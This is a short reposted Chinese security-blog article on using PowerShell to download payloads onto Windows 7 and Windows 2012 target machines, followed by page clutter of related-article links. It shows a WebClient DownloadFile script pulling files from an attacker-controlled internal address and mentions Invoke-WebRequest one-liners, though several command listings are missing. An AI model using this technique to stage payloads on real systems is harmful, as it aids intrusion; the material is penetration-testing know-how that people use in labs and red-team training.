Powershell 一句话下载 Payload

2019 年 3 月 22 日 黑白之道

文章作者:Micropoor

原文链接:https://micropoor.blogspot.com


自Windows7以后内置了powershell,如Windows 7中内置了PowerShell2.0, Windows 8中内置了PowerShell3.0。


靶机:windows 7


powershell $PSVersionTable



down.ps1:


基于System.Net.WebClient




附:


$Urls = @()


$Urls += "http://192.168.1.115/robots.txt"

$OutPath = "E:\PDF\"

ForEach ( $item in $Urls) {

$file = $OutPath +  ($item).split('/')[-1]

(New-Object System.Net.W

ebClient).DownloadFile($item, $file)

}



靶机:


windows 2012 


powershell $PSVersionTable



down.ps1:


在powershell 3.0以后,提供wget功能,既Invoke-WebRequest



C:\inetpub>powershell C:\inetpub\down.ps1


注:需要绝对路径。



附:


当然也可以一句话执行下载:




你可能喜欢

Msf 的前生今世

Certutil 一句话下载 Payload 补充

攻击 FTP 服务

登录查看更多
0

相关内容

【ICML2020】用于强化学习的对比无监督表示嵌入
专知会员服务
27+阅读 · 2020年7月6日
商业数据分析,39页ppt
专知会员服务
157+阅读 · 2020年6月2日
【实用书】Python技术手册,第三版767页pdf
专知会员服务
229+阅读 · 2020年5月21日
【课程】浙大陈华钧教授《知识图谱导论》课程系列PPT
专知会员服务
165+阅读 · 2019年10月29日
用 Python 开发 Excel 宏脚本的神器
私募工场
26+阅读 · 2019年9月8日
3 行代码 5 秒抠图的 AI 神器,根本无需 PS
大数据技术
20+阅读 · 2019年7月24日
告别 PS !3 行代码 5 秒搞定抠图的 AI 神器!
程序人生
6+阅读 · 2019年7月11日
Pupy – 全平台远程控制工具
黑白之道
43+阅读 · 2019年4月26日
支持多标签页的Windows终端:Fluent 终端
Python程序员
7+阅读 · 2019年4月15日
百度开源项目OpenRASP快速上手指南
黑客技术与网络安全
5+阅读 · 2019年2月12日
超级!超级!超级好用的视频标注工具
极市平台
8+阅读 · 2018年12月27日
干货|复旦中文文本分类过程(文末附语料库)
全球人工智能
21+阅读 · 2018年4月19日
Object Detection in 20 Years: A Survey
Arxiv
48+阅读 · 2019年5月13日
Arxiv
11+阅读 · 2018年7月31日
Arxiv
6+阅读 · 2018年2月7日
Arxiv
8+阅读 · 2018年1月12日
VIP会员
相关资讯
用 Python 开发 Excel 宏脚本的神器
私募工场
26+阅读 · 2019年9月8日
3 行代码 5 秒抠图的 AI 神器,根本无需 PS
大数据技术
20+阅读 · 2019年7月24日
告别 PS !3 行代码 5 秒搞定抠图的 AI 神器!
程序人生
6+阅读 · 2019年7月11日
Pupy – 全平台远程控制工具
黑白之道
43+阅读 · 2019年4月26日
支持多标签页的Windows终端:Fluent 终端
Python程序员
7+阅读 · 2019年4月15日
百度开源项目OpenRASP快速上手指南
黑客技术与网络安全
5+阅读 · 2019年2月12日
超级!超级!超级好用的视频标注工具
极市平台
8+阅读 · 2018年12月27日
干货|复旦中文文本分类过程(文末附语料库)
全球人工智能
21+阅读 · 2018年4月19日
Top
微信扫码咨询专知VIP会员